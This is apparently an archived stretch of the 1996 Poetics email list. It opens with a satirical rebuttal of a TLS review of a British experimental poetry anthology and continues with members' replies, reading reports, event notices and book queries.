There is a writer in the book who is forthright. The reviewer pauses to commend this virtue otherwise so little in evidence in the present volume. This forthright writer once attempted to address the fact that writing he recognizes as having value has existed for quite a while and in many places. The reviewer regrets that this writer chose the insular venue of a little magazine in order to make his remarks; still, the reviewer likes a writer who will name names and spell out the complex internal workings of this arcane and hostile group whose conspiratorial reach cannot be overstated.

The group has pursued its agenda with grim determination in [X] and in [Y]. The reviewer takes this opportunity to warn members of the bourgeoisie in each of these high-risk areas to take measures against the theft of their speaking voices.

4. Some of the writers in the book have a critique of speech-based poetics. Some/others also seem to have read [Rimbaud].

The highly organized ring of voice-thieves, numbering more than thirty, have undertaken voluntarily and arbitrarily an agenda of "willed incoherence," but some (well over half) will their incoherence to a greater degree than do others (the other half). The reviewer makes an important distinction here between the otherwise delightful practice of ripping out the vocal chords of bourgeois poets and the same practice taken to "hideous extremes."

Some of the writers in the book have found it possible to read other poems composed in the twentieth-century. The reviewer takes this opportunity to remind his readers of such oddities and atrocities as "open field" and "(post)modern" poetics and, that most recent aberration, ["L=A=N=G=U=A=G=E"] poetry.

Some of the writers in the book can give reflexive accounts of their aims. Some also are accustomed to reading the reflexive accounts given by others. The reviewer is living proof that pausing to reflect before writing can introduce serious obstacles to facile expression. Some of the writers in the book do not imagine their readership to be incapable of complex thought-processes. The

reviewer cannot understand how these writers mean to have literary or political success if they are not willing to accept such basic assumptions as the essential ignorance and laziness of readers and citizens.

A specific writer in the book has so extended his capacity for reflexivity that he actually has a critical relationship to an intellectual position he nonetheless respects. The reviewer firmly believes that a strict separation should always be maintained between what one likes and understands and what one despises and is paid to review in the TLS.

Even this specific writer seems to consider the majority of readers to be human and to be familiar with the phonemic distinction between "th" and "dr," as in the words "think" and "drink." The reviewer avails himself of the opportunity to call his reader a horse while vouching for the clear water in his trough.

The specific writer is an intellectual; not surprisingly, then, he remains committed to certain of the preconditions for reasonable discourse. The reviewer praises the writer for not breaking entirely with form, syntax, and logic.

5. The specific writer has been preceded in his poetic and intellectual practice; indeed, one poet and intellectual in particular has shouldered a great deal of the burden of generating and sustaining interest in the practices this writer values. The reviewer wishes that the younger of the writers could be more discerning with respect to the selection of his predecessors.

This predecessor makes more than ornamental attempts at transforming the processes of "meaning." The reviewer disallows the validity of any meanings that aren't "clear" upon first reading; he does not mind that no text valued by his culture meets this criterion.

This predecessor does not rigidly separate cognition from emotion, thinking perhaps that the expansion of one cannot but expand the other. The reviewer expects to be compensated in pleasure for every meaning he passes up; no arrests to date.

The predecessor has a body of work of tremendous breadth, complexity, and internal differentiation. The reviewer extracts the essence of his project from four cited lines. Suspicion is once again the posture recommended to all good people who find themselves in the vicinity of [X].

The same four lines which synopsize a writer's life-work and recommend its wholesale dismissal can, conveniently, also synopsize and facilitate the dismissal of the nearly five hundred pages of writing in the book under review.

6. Knowing all linguistic acts that don't resolve to clear meaning instantly upon encounter to be "gobbledygook," the reviewer introduces an important

distinction between strategic "gobbledygook" and that inferior brand of "gobbledygook" which has devolved into mere "charmless mannerism."

Some of the writers in the book bring the visual dimension of their text to the foreground; some/others also have grounds for considering the restriction of meaning to "intention" an intellectual anachronism that did not survive serious examination in any of the disciplines of the human sciences that devoted a moment's thought to it. They might point to philosophy, linguistics, literary and cultural studies, history, sociology in making their case.

The reviewer concedes that some private meaning may incidentally attach to typographical irregularities perpetrated by a given author, but cannot be brought to consider that a reader could ascertain the nature of this entirely hermetic experience from the evidence provided by the text.

Some of the writing in the book values surprise, the unexpected, the spontaneous. The reviewer is certain that just outside the gates of narrative regularity awaits total anarchy.

Some of the writers in this volume have detected what seems to them a worrisome and cloying uniformity in the kinds of messages produced within the circuits of the dominant, capital-intensive media; some/others think that poetry needn't reproduce the structure and content of these messages. The reviewer reminds his reader once again that these are the sort of people who forced one to learn a pronunciation of the word "hegemonic." His verdict upon them is subtly rendered: at least they are not as troubled as they might be by the "eerie homogeneity of their strings of apparently meaningless phrases."

II.

7. The editor in introducing the work he has assembled in this book has not adopted a tone of smug indifference toward that work. The reviewer's own style suggests to no one, surely, the adjectives "rabid and polemical." The editor passionately argues his poetic position. The reviewer considers only dispassionate utterances that presuppose his own assumptions to be "clear." The editor's poetics are not merely wrong (a substantive evaluation) but they even fail on procedural grounds--they are "disguised."

The editor in introducing the work he has assembled in this book has taken the trouble to foresee, and respond to, a frequent objection made to much writing of value; namely, that it is (too) difficult. The reviewer notes in his opponent's language (and when wasn't the editor of this volume considered an opponent by this reviewer?) an allusion to a predecessor, but really lights up when he thinks of another (more recent) predecessor's retort to that (less recent) predecessor.

The reviewer's preferred predecessor describes the writer/reader relationship on a contractual mode in which the reader contracts with the writer for a

specified amount of meaningful experience, to be paid for in cash and ingested at the reader's convenience, satisfaction guaranteed. The preferred predecessor abases himself before the image of an harried reader tight on time and money. The writer should do nothing unduly troublesome to such a reader. The editor, his book, and the writers whose work is collected in that book, all want to do troubling things to such readers.

8. The reviewer feels just as though he has been appointed to adjudicate the contract dispute between the book and its possible readers (it is a class-action suit). Noted on the readers' behalf are numerous injurious failures to deliver: there are no theses or critiques, no musical pleasures (due in part to the existence of a bad foreign predecessor who encouraged writers to abjure music), nor even fragments of music.

Because no rational alternative to the contract that binds seller to buyer can be imagined by the reviewer, and because certain of the writers in the book under review do not write in a manner conformable to the contract theory of language, a "religious covenant" must be in place. Here the reviewer relies on the old saw, when you try to be secular, it is because you are a Marxist; when you try to be Marxist, it's clearly because you are a cult-member.

9. In a book nearly five hundred pages long there are likely to be techniques, and even whole pieces, that someone out of sympathy with the project in general can like. The reviewer writes one sentence about each of the seven writers who appear to him as having, however inexplicably, broken free of the cultish, conspiratorial, gobbledygook-centered, communist-plot-hatching, Cambridge set.

Exceptional writer 1 floods the reader, speckles the noise, and is grimly amusing.

Exceptional writer 2 wrestles with and somehow overcomes her platitudinous subject matter.

10. Exceptional writer 3 isn't part of the group anyway, as shown by the beauty and self-confidence of his poem imitative of a foreign predecessor of uncertain long-term value.

Exceptional writer 4 contributes an essay and an elegy; the former is careful, the latter quietly subtle.

Exceptional writer 5 receives two sentences. He is said to be careful in how he confuses things and also hilarious and disturbing.

Exceptional writer 6 overcomes a tendency to obliqueness to present a "hospital-centered narrative."

Exceptional writer 7 also receives two sentences. He too shows signs of obliqueness, but he is charming and innocent in addition. Indeed, this writer conflates musicality with mellifluity in a way that excites the reviewer. He is called a "Holy Fool" but the reviewer means it as a compliment.

11. The review of the book that won't say what kind of book it is, collecting work by a group of writers who won't say they are a group, edited by a person who doesn't know what he means to do, and who only writes poetics in disguise, must end sometime (sigh).

What better way to close, thinks the reviewer, than with another allusion to the cultural authority of my preferred predecessor. Poetry is a wide and varied territory, says the predecessor; we understand him to mean that there are many contracts to sign. Taking sides is no way to understand poetry, says the predecessor; we understand his advice to us very well: Quiet subsumption under a false universal is preferable to stubborn endurance in illegitimate particularity. These guiding words of the preferred predecessor are especially stirring in the wake of the reviewer's systematic violation of every norm appealed to therein. It is refreshing to find practice once again so far out ahead of abstraction and theory.

The writers in the book under review have decided to test the validity of their writing against criteria other than those of the market. The reviewer sees this as elective auto-marginalization. The writers in the book under review have contested the assumption that writing which submits to market-criteria is the only writing there is. The reviewer sees this as sour grapes.

The appearance of objectivity requires concessions such as: No work is all bad. The reviewer candidly admires some of the results yielded by "open forms, surrealism, ellipsis." That out of the way, the temporarily postponed judgment arrives with undiminished zeal: No work is all bad, but this work is as near as one gets. What is good about the writing of sullen elective auto-marginalizing types is not specific to them. It is good also in good, accessible, mainstream writing. What is good about the good writing in this bad book may lift some of these writers out of the captivity of the bad group responsible for the bad book. The bad writers will sink back into the shadowlands of narcissism, self-congratulation, and delusory elitism, where they will try to suppress their brief encounted with "fresh and foreign critical interrogation."

The reviewer will appear again in the pages of the TLS.

---

r i a t n m u a t s u o o o s

↑ Index

236. George Bowering
Re: Ron Johnson/rumors
Fri 11 Oct 1996

> *strange rumors about the mainstreamers too--we got a call at the office today asking us if Gjertrud Schnackenberg had died--is somebody trying to quash poetry by spreading disinformation?*
>
> *Gwyn*

Is there really a poet with such a name, or are we in the middle of another composite novel?

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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237. maria damon
Re: How To Not Read
Fri 11 Oct 1996

two-shay, steve evans! (gotta spell it that way cuz my enclitics don't work on e-mail) great review of review. --md

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238. robert zamsky
Minnesota
Fri 11 Oct 1996

Dear List:

I will be in Minneapolis for a conference on October 18 and 19 -- I've never been to the city before and would love any information about readings, events, etc... thanks --

rob zamsky

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239. **Wendy Battin**
Re: POETICS Digest - 9 Oct 1996 to 10 Oct 1996
Fri 11 Oct 1996

On Fri, 11 Oct 1996, Douglas Barbour wrote:
> Sorry, I dont, but I will ask my friend if he recalls the title of the poem
> & get back to you.

Many thanks. That was one of my earliest englishes and I'd like to take a look & listen, esp to the coding.

Wendy

↑ Index

240. **DS**
Re: POETICS Digest - 9 Oct 1996 to 10 Oct 1996
Sat 12 Oct 1996

---

and may i say i enjoyed Omeros which i read start to finish

At 08:33 AM 10/11/96 -0600, you wrote:
>>Date: Thu, 10 Oct 1996 11:13:08 -0400
>>From: Wendy Battin <[redacted]>
>>Subject: Re: POETICS Digest - 7 Oct 1996 to 8 Oct 1996
>>
>>On Thu, 10 Oct 1996, Douglas Barbour wrote:
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>>> her hands & said, "I cant explain, but listen," picked a copy of heaney's
>>> poems out of her backpack, & read him a poem in which heaney explored
>>
>>Doug,
>>Do you happen to know which poem? (Sure there are many, but am
>>curious to know which she chose.)
>>
>>Wendy
>>
>>----------
>>Wendy Battin [redacted]
>>(home) http://camel.conncoll.edu/ccother/wjbat/
>>(CAPA) http://shain.lib.conncoll.edu/CAPA/capa.html
>>----------

>
>Sorry, I dont, but I will ask my friend if he recalls the title of the poem
>& get back to you. He was telling me this partly because he knew I wasnt a
>big fan of Heaney's. As a theoretical type, deeply into post-colonial work,
>he considers another Nobel winner the 'best' (? wrong work: he means, I
>think, most interesting in terms of what he does) poet in english today:
>Derek Walcott. I had read only a few Walcott poems & not thought much one
>way or another, but a reading of the _Collected Poems_ did lead me to
>somewhat reise my opinion. There is much there, albeit within a tradition I
>am not all that interested in, that is fascinating. Sorry for getting off
>topic from your request. I will ask.
>
>All the best
>
>Doug
>
>Douglas Barbour
>Department of English
>University of Alberta
>Edmonton Alberta T6G 2E5
>[redacted] FAX: [redacted]
>H: [redacted]
>
>'The universe opens. I close.
>And open, just to surprise you.'
>   - Phyllis Webb
>
>

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241. John Cayley
Visible Language: New Media Poetry
Sat 12 Oct 1996

*** Apologies for cross-postings ***

Just published and well worth checking out:

A special issue of the journal: VISIBLE LANGUAGE
Volume 30, no. 2

NEW MEDIA POETRY
Poetic Innovation and New Technologies
Guest edited by: Eduardo Kac

Contents:

Introduction / Eduardo Kac

The Interactive Diagram Sentence:
Hypertext as a Medium of Thought / Jim Rosenberg

Poetic Machinations / Phillipe Bootz

Videopoetry / E. M. de Melo e Castro

We Have Not Understood Descartes / Andre Vallias

Virtual Poetry / Ladislao Pablo Gyori

Beyond Codexspace:
Potentialities of Literary Cybertext / John Cayley

Holopoetry / Eduardo Kac

New Media Poetry:
Theories and Strategies / Eric Vos

Selected Webliography / Eduardo Kac

ORDER FROM:
Visible Language, Rhode Island School of Design
Graphic Design Department, 2 College Street,
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Tel: [redacted]
Email inquiries: [redacted] (Carrie Harris, for more details)
This issue: $10 (check postage with business contact)
Subscriptions: (1 year = 3 issues) $30 (individ.) $55 (instit.)

Web references:
Eduardo Kac:- http://www.uky.edu/FineArt/kac/kachome.html
Jim Rosenberg:- http://www.well.com/user/jer/
John Cayley:- http://www.demon.co.uk/eastfield/in/

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242. **Kevin Killian**
Re: Jay and Kay deFeo
Sat 12 Oct 1996

> *Hey there, dbkk, are we going to get a report on Kevin's play?*
> *breathless,*
> *maria d*

Maria, thanks for asking about my play, "Wet Paint," which indeed did get finished, still wet, and presented on Wednesday. All the actors‹a motley crew of the Bay Area's best painters, filmmakers, poets, videographers, drag performers, art writers, and novelists‹showed up, which was such a help, and so difficult corralling 19 divas all in one room at one time. And some of them are the kind who, presented with a script, will whip out rulers to determine how many inches they have (of dialogue, of course). But they were all there and all fantastic.

I could try to reconstruct the audience a la Jordan Davis, but I was too nervous really to note more than a few of the hundreds of people who were there. I remember however Fanny Howe coming up to me after the show was over and saying that it reminded her of growing up in Cambridge when her mother, Mary Manning Howe, was in charge of the Poets Theater there (mid-fifties?), and nothing could have pleased me more.

Also spotted: the writers Rebecca Solnit, Tina Rotenberg, Jocelyn Saidenberg, Matthew Stadler, Renee Gladman, Michael Price, Avery Burns, Leslie Davis, Pamela Lu, Barbara Guest, Susan Gevirtz, Laura Moriarty, Brian Strang, Aaron Shurin, Charlie Smith, Rena Rosenwasser, Duncan McNaughton, Bill Berkson, Larry Kearney, Jay Schwartz, Lauren Gudath, George Albon (replete with new, utterly delicious new boyfriend), and the artists Brett Reichman, Fran Herndon, Chris Komater, Peter Mitchell-Dayton, Vincent Fecteau, Jennifer Locke, Nao Bustamente....

And many more both on this list and not. Tosh Berman, you will be glad I know to hear that each of *your* appearances was greated with a tremendous round of applause. You were played by a Cabbage Patch doll that Dodie bought at our local Thrift Town--actually, a Cabbage Patch knockoff, and carted around in a simply, 1959 style brown paper bag. At one point in the action of the play, you wander away and get sucked into the vast 2000 pound "Rose" painting of Jay DeFeo, but happily rescued by your good father. More later. Thanks‹Kevin K.

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243. maria damon
Re: Minnesota
Sat 12 Oct 1996

In message <[redacted]> UB Poetics discussion group
writes:
> Dear List:
>
> I will be in Minneapolis for a conference on October 18 and 19 -- I've
> never been to the city before and would love any information about
> readings, events, etc...
> thanks --
>
> rob zamsky

what's the conference? there're a coupla weekly papers, the Twin Cities Reader and the City Pages, that have extensive listings of events, etc. they're free at most coffee shops, etc. also, call the Loft (the largest writing institution in the cities) for their events. the loft is pretty conservative in its scope tho. also call bryant-lake bowl (a groovy bowling alley, cafe, and "alternative" performance space), and the walker art center, which sometimes hosts fun stuff. some listers past and present from the tcs are: me, mark nowak, jeff hansen, gary sullivan, marta deike, kurt anderson, jonathan brannen (actually i morris mn), bob gale (another person to call about events, as he edits SHOUT!, a free monthly for spoken word arts), some lurkers i do and don't know about. that's about it for first thing in the morning; i'll give it a bit more concerted thot in the next week or so. maybe we cd have a coffee hr somewhre and meet u. maria d

↑ Index

244. Kevin Killian
Ronald Johnson
Sat 12 Oct 1996

It's Kevin Killian--again. As far as Ronald Johnson goes, Dodie tells me that he's reading at New College in November (if she remembers correctly) so bring your copies of ARK for him to sign. Has anybody seen the new "Ronald Johnson" by Dirk Stratton--it's one of those little books from Boise State University (Western Writers Series #122). The drawing of RJ on the cover makes him look just like poetics list member Ed Foster; however there's no picture of author "Dirk Stratton." Does anyone know him, or do I just remember that name from "Bonanza"? (Or, possibly, some old Fred Halsted film from the seventies?)

Stratton says (page 52), "Maybe Johnson is a writer of the American West, but we are simply unable to recognize exactly why." So it's interesting. E-mail for Western Writers Series is at [redacted].

Thanks everybody.

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245. **Loss Glazier**
Creeley at 70 in Buffalo
Sat 12 Oct 1996

CREELEY AT 70 IN BUFFALO

DATELINE BUFFALO. The 70th birthday celebration in honor of Robert Creeley moves along with extraordinary momentum. First night: Eileen Myles, introduced by Creeley, read to a packed crowd in the large Halwall's performance space, with its stage bordered on three sides by the audience. Her figure animated against the somewhat large stage, reading and letting each page of text drift to the floor after reading it. Voice, presence, narrative rang solidly to a thoroughly enthusiastic crowd. Second day: the formal opening of activities by William Greiner, UB president and Creeley colleague who first met Creeley long-distance while Creeley was in Finland. Then, Gil Sorrentino, fondly introduced by Joseph Conte, reading in the Katherine Cornell Theatre, a good-sized semi-formal spaceship architecture palace space on the edge of Buffalo's tundra-tinged north campus. Sorrentino read prose from a new piece (I think forthcoming in _Conjunctions_). A richly written piece, supercharged with irony, purposely laden with the banalities of the wife-swapping personalities it characterized and the revolting misogyny and sexual beasty balls of its less-than-likable narrator. Above this content, the precision of Sorrentino's prose glimmered like a city skyline. Amiri Baraka, originally scheduled to read with Sorrentino, was unable to appear. Creeley therefore gave a preview mini-reading, talking briefly and reading the full text of his _Dogs of Auckland_ (approximate title) chapbook forthcoming from Meow Press. A gorgeous piece of work. This reading was followed by a reception in the poetry collection and its great assembly of rare, beautiful, and ephemeral Creeley materials and also a retrospective (mostly small press) of poetry chez Buffalo for the past 50 years. A delirious spread of rare and richly-diverse print artifacts that gave a varied sense of the "scene" as passing in and out and back into the "city of no illusions". Back at Katherine Cornell, next up was the Creeley-Dine event, the room full to the rafters. (So packed the fire marshall was threatening to turn back poetry-goers if they could not prove they had a seat.) Creeley introduced at length and eloquently by Susan Howe. Then an extraordinary reading by Creeley. First an explanation of the 1-2-3 method then a 1-2-3 section from _Mabel: A Story_ a prose work

dating an early Creeley-Dine collaboration. This was a long piece, at times dropping into choppy Burroughsesque rhythms, other times richly wry and funny, and other times simply sailing along tellingly. A rare treat to witness the performance of this important earlier prose piece. This reading was followed by "Histoire de Florida" a later, powerful, long, languid, pulling out like the tide and the backdrop of all-that-has-happened, rhythmic, emotional, and meditative masterwork. Then Dine was introduced excellently by Charles Bernstein followed by the Creeley-Dine conversation. Truly extraordinary, to hear these two men talk about a range of subjects near and dear to both art and writing, "tools" of any trade, age and its perspectives, perseverance and its perspectives, the necessities of incessant travel and, well, all in all, what it means to hang in there. This was a primo opportunity to hear both the writer and the artist talk. Creeley and Dine were terrific. It was a particularly wonderful opportunity to hear from Dine, an artist who gets to Buffalo all too rarely, and to hear him speak so openly, honestly, his talk as rich as writing itself, there in the open space where things are stilled for some hours we can all hold for the true celebration of artistic life they are. Hey, this *is* what it means to hang in there. STILL TO COME: Ashbery reading this afternoon then tonight Hallwalls Jazz concert with Steve Kuhn and Carol Fredette. ONLINE: check out http://writing.upenn.edu/epc/authors/creeley/70th where you can also see the Dine painting for this event and other stuff. --- Loss Glazier <[redacted]> http://writing.upenn.edu/epc

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246. **Joe Amato**

Re: How To Not Read

Sat 12 Oct 1996

---

bravo, steve!... i'm gonna be using that piece of yrs sometime, if you don't mind, in one or the other of my classes...

best,

joe

↑ Index

247. **Douglas Barbour**

Re: POETICS Digest - 10 Oct 1996 to 11 Oct 1996

Sat 12 Oct 1996

Re Steve Evans's review of the review: I just want to say Thank you. That was illuminating & great fun to boot. I really must go out & find that thing, or maybe not...

All the best

Doug

Douglas Barbour
Department of English
University of Alberta
Edmonton Alberta T6G 2E5
[redacted] FAX: [redacted]
H: [redacted]

'The universe opens. I close.
And open, just to surprise you.'
- Phyllis Webb

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248. **Pritchett,Pat**
Re: Ron Johnson
Sat 12 Oct 1996

Brian and anyone else:

The info on Living Batch is:

Living Batch Bookstore
106 Cornell Dr SE
Albuquerque, NM 87106
505- [redacted]
(don't know about e-mail)

Price of the ticket: $25.00
Bon voyage!

Patrick Pritchett

From: Brian McHale
To: Multiple recipients of list POETICS
Subject: Re: Ron Johnson
Date: Thursday, October 10, 1996 4:58PM

Wait, wait. Now that we know Johnson is still with us, could someone please
supply fuller data on publication of the Complete Ark. Address for Living Batch Press, please? E-mail, even?
Brian

↑ Index

249. **Jeremy F Green**
Re: How To Not Read
Sat 12 Oct 1996

My thanks too to Steve Evans.

Along with the practice of "summing up" complicated bodies of work with a sentence or 4-line quotation, the TLS reviewer (who is Robert Potts?) manages also to bracket the construction of tradition in the Sinclair anthology. A few of the demonized poets showcase their forebears: David Jones, J.F.Hendry, W.S.Graham, Nicholas Moore...So I guess what is being bracketted here is British modernism. As ever, "traditionalists" like the TLS reviewer prove to have the most advanced amnesia.

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250. **maria damon**
Re: Jay and Kay deFeo
Sat 12 Oct 1996

thanks kevin, i'm glad i asked; sounds delicious.--md

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251. **Kevin Killian**
Steve Carll reading
Sat 12 Oct 1996

Hi, it's Kevin Killian. Thanks, Steve, for announcing your reading over the internet. I'm back and I'm glad I went. As usual the reading started over 2 hours late, but "on time" for other readings that I've attended there at 530 Page Street. Everyone was in a party mood and that's exactly what they got. First Edmund Berrigan read--a selection of poems from all different manuscripts, leading up to the new work, a series of prose poems in which he has finally escaped from the autobiographical this and that allusion trap of his previous oeuvre. Well done, Edmund. Then I saw some big strong men moving around an elaborate stereo system and realized we were in for a multi-media presentation by Steve Carll. He put on a record and announced that since he wrote to music, it seemed possible to try to reproduce those conditions while reading. I think the record was by Alice Coltrane and Pharaoh Sanders. Over this melange of sound Steve read excerpts from his two new books, "Sincerity Loops" and "trace a moment's closure for clues," for about twenty five minutes, then the music stopped and he read some short funny essays on "Drugs" Caffeine, television, ecstasy, morphine, crack and alcohol are some I remember. Everyone was in stitches or if not stitches in knits and purls. Long live the salon, where

there's an intimacy that sometimes more suited towards sharing new work than in the big spaces in town here. Now how can I get funding for having people over at my apartment? Does funding = theater?

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252. Lisa Jarnot
Ear Inn Update
Sat 12 Oct 1996

EAR INN UPDATE:

On Saturday October 12th Cliff Fyman and Lee Ann Brown read at the Ear Inn. Cliff Fyman-- resident of the lower east side, secret poetical genius, and waiter at Sardi's Restaurant-- read from a spectacular mix of prose and poetry, including his crowd pleasing oulipo poem "mouse". Lee Ann Brown-- recent returnee to New York City-- read from her new project Cento, mixing it up with some greatest hits (such as "Crush") and newest new short poems inspired by some of the filmmakers represented at this year's International Film Festival at Lincoln Center.

For the second week in a row the Ear Inn was filled to capacity. Attendees included Bernadette Mayer, Philip Good, Lewis Warsh, Barbara Henning, Gavin Smith, Melanie Neilson, Robert Fitterman, Jeff Hull, Douglas Rothschild, William Luoma, Drew Gardner, Boston poet Sianne Ngai, new New Yorker Daniel Farrell, Albany poet Chris Funkhouser, Boston poet Daniel Bouchard, Anselm Berrigan, a busload of poets from Staten Island, and some other people eating lunch.

Don't miss out on the fun. Come early stay late drink beer. The Ear Inn is at 326 Spring Street in lower Manhattan. Next week's readers are ANSELM BERRIGAN and KIM LYONS. Anselm is a Yale Younger Poet. John Ashbery says "He rocks." Brooklyn poet Kim Lyons recently had some great work in THE WORLD. Allen Ginsberg recently said "She totally rocks." Check out the Ear. Lou Reed says "It rocks big time."

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253. Eryque Gleason
Re: Ear Inn Update
Sat 12 Oct 1996

---

dear lisa (or anybody else), could you post the whole schedule for the ear? thankee! eryque

> *EAR INN UPDATE:*

> *On Saturday October 12th Cliff Fyman and Lee Ann Brown read at the Ear Inn. Cliff Fyman-- resident of the lower east side, secret poetical genius, and waiter at Sardi's Restaurant-- read from a spectacular mix of prose and poetry, including his crowd pleasing oulipo poem "mouse". Lee Ann Brown-- recent returnee to New York City-- read from her new project Cento, mixing it up with some greatest hits (such as "Crush") and newest new short poems inspired by some of the filmmakers represented at this year's International Film Festival at Lincoln Center.*
>
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>
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254. George Bowering
Re: Creeley at 70 in Buffalo
Sun 13 Oct 1996

Loss-

Thanks so much for going to the trouble to writew that interim report of the Creeley fest. Wish I were there. I mean sometimes Buffalo is lucky and sometimes vancouver is.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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255. Ken Edwards
How To Not Read
Sun 13 Oct 1996

Thanks, Steve Evans. I've taken the liberty of snail-mailing a copy of your devastating piece to Iain Sinclair, the editor of _Conductors of Chaos_. By the way, may I commend the anthology to readers of this list who want to get a fix on what's happening these days in British poetry that's interesting.

Ken Edwards

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256. Loss Glazier
Re: Creeley at 70 in Buffalo - Part II
Sun 13 Oct 1996

CREELEY AT 70 IN BUFFALO

DAY 3. Back in the Katherine Cornell theatre, Susan Schultz could have had no more style, zest, and presence than in her introduction of John Ashbery in which she first met a man who called himself Ashbery (Bernstein) and in which she recounted her pilgrimage to the Ashbery family apple farm not far from the site of the present event. Ashbery’s reading was first-rate. Ashbery, a poet who will soon be the same age as the man who this gathering celebrated, performed fully in command of his craft, reading from his latest book as well as from new poems. Ashbery’s reading was followed by a reception across the hall where poetrygoers were able to congregate and compare notes at the penultimate chime of this poetry celebration’s verse-bent clock. What could top things so far? The finale of course! The night of day three, Hallwall’s Jazz concert with Steve Kuhn and Carol Fredette. Perhaps the most decked out I’ve seen Hallwall’s with not only great book tables (thanks to Talking Leaves) but also, inside, two food tables, one with the cheeses, meats, breads, and grapes, and the other buckling under the weight of the two enormous cakes (one chocolate, one yellow) specially lettered for such a day. Inside, Kuhn and Fredette got going. Standards sprinkled among renditions of takes from the Steve Swallow release _Home_ (ECM Records 1160) on which Sheila Jordan did the vocals. The piano’s tones, registers, chordal thunderwalls in boots soled with celestial dust — while Fredette’s scats were nourished by dizzying drops into the deep, mellow, honey-coated lower register of her extraordinary voice. Many numbers to stun the crowd ("She Was Young" and "Ice Cream" among the memorable takes) and many numbers lifted like toasts to the music ship’s first mate seated with a grin and pensive attentiveness front row center. One of the outstanding moments was Kuhn’s solo improvisation dedicated to Creeley. No piano has ever been explored, imploded, stretched into silver multi-vocaled strands, rode

into a thundered, multi-leveled, multi-chromatic union with the absolute possibilities of sound. As the program was originally envisioned, Mercury Rev would've been next on stage. They had canceled so, really, it would've been over now. But seated behind me in the second row, humming audibly to some of the standards was the man who would do the finale for this 70th, Amiri Baraka, introduced with incredible acumen by Bill Fischer. Baraka could've no less stormed the stage than if he had been backed by the John Coltrane quartet itself. Baraka's small build gives one no preparation for the immense vision, rhythm, voicing, and cadences that will emerge from the flaming words of his performance. Invoking as central to the _Yugen_ of Baraka's earlier years, "the big three" of the magazine, Ginsberg (is that right?), big Charlie Olson, and Bob Creeley. (Sorrentino, by the way, also appeared in _Yugen_.) Baraka paid homage to Creeley then performed from _Transbluecency_ and his more recent _Funk Lore_ (Los Angeles: Littoral Books, 1996). Baraka's humming, chanting, and vocal renditions of the standards-a la-Baraka were in perfect accord with the chords still lingering, clinging to the packed, overflowing theatre. No printed text can do this! People filling all seats, people on all sides, standing, squatting, spilling out into the Hallwall's hallway. Blues, transblues, transvoicings, the unbelievable coup d'états of Baraka's "lowcoups" (African American version of that knock-out blast commonly associated with the haiku), and his closing triumph (slaves, dig, we were once slaves). Indeed, it was about people, what we are, the rhythms that vibrate through one and the same. Amiri brought it home. And home we were — at least so is Buffalo in many senses. Oh, for a home like this. Happy birthday celebration, Robert Creeley! ONLINE: check out http://writing.upenn.edu/epc/authors/creeley/70th/ where you can also see the Dine painting for this event.

Loss Glazier <[redacted]>
http://writing.upenn.edu/epc

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257. Herb Levy
Re: nobels, the Good, here we go...
Sun 13 Oct 1996

Joe -

I'm sorry it's taken a couple of days to get back to this. 'cause no one else picked up on this thread, I probably should have just back channelled this. But I took the morally indefensible position of sending it to the entire list instead.

I understand the desire for a more clearly sited ethos in the work. I'm just not sure I see it growing out of some official selection of this week's poem of the

year, or defining a bad innovative poetry, the discussions which you jumped off from.

Despite the mottled (at best) political history of experimental verse in this century, it is difficult to imagine any innovative writing now that comes from a conservative mindset. Although I don't see Language poetry as the only viable contemporary innovation, I may have been blinded to other possibilities by the blitz of adamant progressive left positions taken in many (especially early) critical and poetic works from the Language end of things.

Perhaps I just don't know about the redlining bank loan officers, killers, and right-wing militia members who are currently writing innovative non-mainstream verse. Looking at moral issues much finer than these gets into a morass that often just seems like gossip to me. Let those writers who are without sin ...

I can think of a couple of things that do go in a direction that may be useful to you. In Bob Perelman's two recent books of essays, especially, but not only, the sections about Pound and Andrews, touch on the responsibility of the writer, and the reader, to address moral and political issues.

And I recently read a short piece somewhere (& I'll probably be embarassed, if not ethically compromised, when I finally remember where) that made a case for the anthology "Poems for the Millenium" as a stronger collection of ethical/ politically engaged work than some of the current collections of "poetry of witness."

> *herb, all points well-taken... still, i'll press a bit and say that i think the question of good/Good bad/Bad is worth continued navigation in these parts (and i know neither of us means The Good), albeit i admit to being somewhat at a loss as to how to proceed... and in part for the reasons you mention about the nature of this public forum...*
>
> *really, i hate to keep coming back to this issue, but if in fact it's the forum itself that's preventing such dialogue, why then there's the need to reflect on same... what is it about that complex [wink] of ethico-moral-political that's untouchable around here?...*
>
> *i might make the argument (as i have on occasion) that certain attitudes about poetry or poetics are irresponsible when it comes to their institutional embodiment... now as a teacher, the institutional is relatively easy for me to access (in such terms, i mean)... but even poets and writers with no professional obligations or commitments to teaching must readily acknowledge that what they advocate as poets and writers have institutional effects that are more and less desirable... i regret, for example, those three nobel laureate poets (i think it was walcott, paz, and milosz) who together proclaimed their opposition to electronic media, an attitude that i find not only lamentable and compromising to more innovative work, but in fact aiding and abetting print hegemonies from*

> *which all three of these gents' work *might* be said to profit directly...*
>
> *of course emedia is my hobbyhorse... and of course this question of the Good i raise is specifically one having to do with inter-poetic, if not inter-media, struggle (sorta)... but if you find yourself linking your effort as a poet or scholar or teacher with broader social concerns, why then the Good will of necessity be ramified across many other domains...*
>
> *anyway, i'd like to hear more...*
>
> *best,*
>
> *joe*

Herb Levy
[redacted]

↑ Index

258. **James Brook**
San Francisco library scandals
Sun 13 Oct 1996

As some on this list already know, the San Francisco library--especially its new high-tech main library--has been having a rough time of it.

The New Main Library buiding is a kind of suburban postmodern joke-- plenty of light wells and no room for books or reading. The City Librarian is in love with obsolete computers and his corporate pals who are intent on privatizing library services on a fee-per-use basis. The system is short-staffed--it takes a book between one and three months to make it back to the shelf after it's been returned to the library. The City Librarian is responsible for dumping many thousands of books without following proper weeding procedures. And on and on. All this in the effort to make the San Francisco public library a "21st-century library."

Though some of the scandals are indeed local and have to do with particular corrupt and incompetent people, the example of what's happened to the San Francisco Public Library has bearing on the transformation of libraries around the world. To my mind, it's an object lesson of what can go wrong when a mania for technology combines with the limited morality of corporate sharks to turn a public space into an "information node" and "profit center." The result is an antilibrary: enemy of books and readers.

Details are available in Nicholson Baker's fine article in this week's New Yorker, "The Author vs. the Library." The current Ampersand has articles by historian Gray Brechin, poet and librarian Steve LaVoie, and bookbinder

